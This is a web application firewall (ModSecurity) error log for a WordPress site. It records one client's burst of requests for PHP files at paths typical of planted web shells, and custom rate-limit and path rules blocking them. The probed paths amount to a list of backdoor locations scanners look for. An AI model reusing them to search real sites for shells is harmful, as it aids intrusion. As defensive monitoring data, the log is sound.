[Sat Jan 03 03:38:53.978428 2026] [:error] [pid 1931:tid 2031] [client 4.194.208.111:10076] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aVgezR8Tyw7ZoIdXlcbdyAAAAIc"]
[Sat Jan 03 03:38:54.317649 2026] [:error] [pid 1931:tid 2033] [client 4.194.208.111:10116] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aVgezh8Tyw7ZoIdXlcbdygAAAIk"]
[Sat Jan 03 03:38:54.682640 2026] [:error] [pid 1929:tid 1941] [client 4.194.208.111:10135] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aVgezucFqdpu6TNsuWq0RgAAAAM"]
[Sat Jan 03 03:38:55.033020 2026] [:error] [pid 1930:tid 1982] [client 4.194.208.111:10130] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aVgez5P-6mqhfUDa89y9KAAAAFA"]
[Sat Jan 03 03:38:55.336969 2026] [:error] [pid 1930:tid 1990] [client 4.194.208.111:10237] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aVgez5P-6mqhfUDa89y9KgAAAFg"]
[Sat Jan 03 03:38:55.729154 2026] [:error] [pid 1929:tid 1958] [client 4.194.208.111:10142] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aVgez-cFqdpu6TNsuWq0SAAAABQ"]
[Sat Jan 03 03:38:56.004104 2026] [:error] [pid 1929:tid 1955] [client 4.194.208.111:10168] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVge0OcFqdpu6TNsuWq0TAAAABE"]
[Sat Jan 03 03:38:56.252347 2026] [:error] [pid 34260:tid 34268] [client 4.194.208.111:10070] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVge0EWWhyvZ0O9KNVRuIAAAAQY"]
[Sat Jan 03 03:38:56.684674 2026] [:error] [pid 1931:tid 2044] [client 4.194.208.111:18113] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVge0B8Tyw7ZoIdXlcbd3AAAAJQ"]
[Sat Jan 03 03:38:57.136733 2026] [:error] [pid 1930:tid 1966] [client 4.194.208.111:10201] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVge0ZP-6mqhfUDa89y9QwAAAEA"]
[Sat Jan 03 03:38:57.475793 2026] [:error] [pid 1929:tid 1956] [client 4.194.208.111:18165] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVge0ecFqdpu6TNsuWq0UQAAABI"]
[Sat Jan 03 03:38:57.868799 2026] [:error] [pid 1929:tid 1952] [client 4.194.208.111:10078] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVge0ecFqdpu6TNsuWq0UgAAAA4"]
[Sat Jan 03 03:38:58.276115 2026] [:error] [pid 1929:tid 1954] [client 4.194.208.111:18174] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVge0ucFqdpu6TNsuWq0XgAAABA"]
[Sat Jan 03 03:38:58.536366 2026] [:error] [pid 1931:tid 2048] [client 4.194.208.111:10221] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVge0h8Tyw7ZoIdXlcbd7AAAAJg"]
[Sat Jan 03 03:38:58.908520 2026] [:error] [pid 2083:tid 2107] [client 4.194.208.111:10210] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aVge0jVlR_BmlMPnhV6gKQAAANY"]
[Sat Jan 03 03:38:59.541143 2026] [:error] [pid 34260:tid 34282] [client 4.194.208.111:10177] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aVge00WWhyvZ0O9KNVRuKgAAARQ"]
[Sat Jan 03 03:38:59.895942 2026] [:error] [pid 1929:tid 1949] [client 4.194.208.111:10153] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aVge0-cFqdpu6TNsuWq0cQAAAAs"]
[Sat Jan 03 03:39:00.344681 2026] [:error] [pid 1930:tid 1971] [client 4.194.208.111:10067] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aVge1JP-6mqhfUDa89y9XgAAAEU"]
[Sat Jan 03 03:39:00.978038 2026] [:error] [pid 1929:tid 1958] [client 4.194.208.111:10079] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVge1OcFqdpu6TNsuWq0ewAAABQ"]
[Sat Jan 03 03:39:01.314027 2026] [:error] [pid 34260:tid 34271] [client 4.194.208.111:10061] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVge1UWWhyvZ0O9KNVRuOgAAAQk"]
[Sat Jan 03 03:39:01.667369 2026] [:error] [pid 2083:tid 2104] [client 4.194.208.111:9922] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVge1TVlR_BmlMPnhV6gNgAAANM"]
[Sat Jan 03 03:39:01.869710 2026] [:error] [pid 1929:tid 1948] [client 4.194.208.111:9998] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVge1ecFqdpu6TNsuWq0hQAAAAo"]
[Sat Jan 03 03:39:02.088975 2026] [:error] [pid 1931:tid 2040] [client 4.194.208.111:10026] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVge1h8Tyw7ZoIdXlcbeCwAAAJA"]
[Sat Jan 03 03:39:02.325241 2026] [:error] [pid 34260:tid 34280] [client 4.194.208.111:10220] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVge1kWWhyvZ0O9KNVRuRQAAARI"]
[Sat Jan 03 03:39:03.009218 2026] [:error] [pid 1929:tid 1947] [client 4.194.208.111:10118] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVge1-cFqdpu6TNsuWq0kAAAAAk"]
[Sat Jan 03 03:39:03.274377 2026] [:error] [pid 1929:tid 1951] [client 4.194.208.111:18145] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVge1-cFqdpu6TNsuWq0mAAAAA0"]
[Sat Jan 03 03:39:03.530196 2026] [:error] [pid 1929:tid 1948] [client 4.194.208.111:10123] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVge1-cFqdpu6TNsuWq0mwAAAAo"]
[Sat Jan 03 03:39:03.853358 2026] [:error] [pid 2083:tid 2101] [client 4.194.208.111:10103] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVge1zVlR_BmlMPnhV6gOQAAANA"]
[Sat Jan 03 03:39:04.184025 2026] [:error] [pid 1931:tid 2040] [client 4.194.208.111:10082] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVge2B8Tyw7ZoIdXlcbeIgAAAJA"]
[Sat Jan 03 03:39:04.413195 2026] [:error] [pid 1931:tid 2043] [client 4.194.208.111:10115] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVge2B8Tyw7ZoIdXlcbeIwAAAJM"]
[Sat Jan 03 03:39:04.848136 2026] [:error] [pid 34260:tid 34278] [client 4.194.208.111:10072] [client 4.194.208.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aVge2EWWhyvZ0O9KNVRuUwAAARA"]
[Sat Jan 03 03:39:05.100878 2026] [:error] [pid 1930:tid 1990] [client 4.194.208.111:10166] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aVge2ZP-6mqhfUDa89y9fgAAAFg"]
[Sat Jan 03 03:39:05.444962 2026] [:error] [pid 1929:tid 1955] [client 4.194.208.111:10138] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aVge2ecFqdpu6TNsuWq0pQAAABE"]
[Sat Jan 03 03:39:05.733954 2026] [:error] [pid 1931:tid 2036] [client 4.194.208.111:10102] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aVge2R8Tyw7ZoIdXlcbeOAAAAIw"]
[Sat Jan 03 03:39:06.010508 2026] [:error] [pid 1931:tid 2047] [client 4.194.208.111:10089] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVge2h8Tyw7ZoIdXlcbeOwAAAJc"]
[Sat Jan 03 03:39:06.287446 2026] [:error] [pid 1931:tid 2040] [client 4.194.208.111:10101] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVge2h8Tyw7ZoIdXlcbeQwAAAJA"]
[Sat Jan 03 03:39:06.610971 2026] [:error] [pid 1931:tid 2048] [client 4.194.208.111:10174] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVge2h8Tyw7ZoIdXlcbeSQAAAJg"]
[Sat Jan 03 03:39:06.806713 2026] [:error] [pid 1931:tid 2029] [client 4.194.208.111:10170] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVge2h8Tyw7ZoIdXlcbeSgAAAIU"]
[Sat Jan 03 03:39:07.030476 2026] [:error] [pid 1930:tid 1973] [client 4.194.208.111:10081] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVge25P-6mqhfUDa89y9hgAAAEc"]
[Sat Jan 03 03:39:07.296136 2026] [:error] [pid 1930:tid 1976] [client 4.194.208.111:9989] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVge25P-6mqhfUDa89y9iQAAAEo"]
[Sat Jan 03 03:39:07.513447 2026] [:error] [pid 1930:tid 1981] [client 4.194.208.111:10127] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVge25P-6mqhfUDa89y9jgAAAE8"]
[Sat Jan 03 03:39:07.818348 2026] [:error] [pid 34260:tid 34264] [client 4.194.208.111:10088] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVge20WWhyvZ0O9KNVRuZAAAAQI"]
[Sat Jan 03 03:39:08.049410 2026] [:error] [pid 34260:tid 34266] [client 4.194.208.111:10080] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVge3EWWhyvZ0O9KNVRuZQAAAQQ"]
[Sat Jan 03 03:39:08.390726 2026] [:error] [pid 34260:tid 34272] [client 4.194.208.111:10149] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVge3EWWhyvZ0O9KNVRuZgAAAQo"]
[Sat Jan 03 03:39:08.650980 2026] [:error] [pid 34260:tid 34271] [client 4.194.208.111:10077] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVge3EWWhyvZ0O9KNVRuZwAAAQk"]
[Sat Jan 03 03:39:08.889916 2026] [:error] [pid 1931:tid 2027] [client 4.194.208.111:10032] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVge3B8Tyw7ZoIdXlcbeUQAAAIQ"]
[Sat Jan 03 03:39:09.136254 2026] [:error] [pid 1931:tid 2042] [client 4.194.208.111:10173] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVge3R8Tyw7ZoIdXlcbeUgAAAJI"]
[Sat Jan 03 03:39:09.455292 2026] [:error] [pid 1931:tid 2044] [client 4.194.208.111:9997] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVge3R8Tyw7ZoIdXlcbeVAAAAJQ"]
[Sat Jan 03 03:39:09.690215 2026] [:error] [pid 1930:tid 1972] [client 4.194.208.111:10066] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVge3ZP-6mqhfUDa89y9jwAAAEY"]
[Sat Jan 03 03:39:10.034888 2026] [:error] [pid 1929:tid 1955] [client 4.194.208.111:10107] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVge3ucFqdpu6TNsuWq0tQAAABE"]
[Sat Jan 03 03:39:10.313318 2026] [:error] [pid 1929:tid 1941] [client 4.194.208.111:9950] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVge3ucFqdpu6TNsuWq0tgAAAAM"]
[Sat Jan 03 03:39:10.745877 2026] [:error] [pid 2083:tid 2100] [client 4.194.208.111:10183] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVge3jVlR_BmlMPnhV6gVwAAAM8"]
[Sat Jan 03 03:39:11.017379 2026] [:error] [pid 2083:tid 2104] [client 4.194.208.111:10096] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVge3zVlR_BmlMPnhV6gWQAAANM"]
[Sat Jan 03 03:39:11.246142 2026] [:error] [pid 2083:tid 2087] [client 4.194.208.111:9996] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVge3zVlR_BmlMPnhV6gWgAAAMI"]
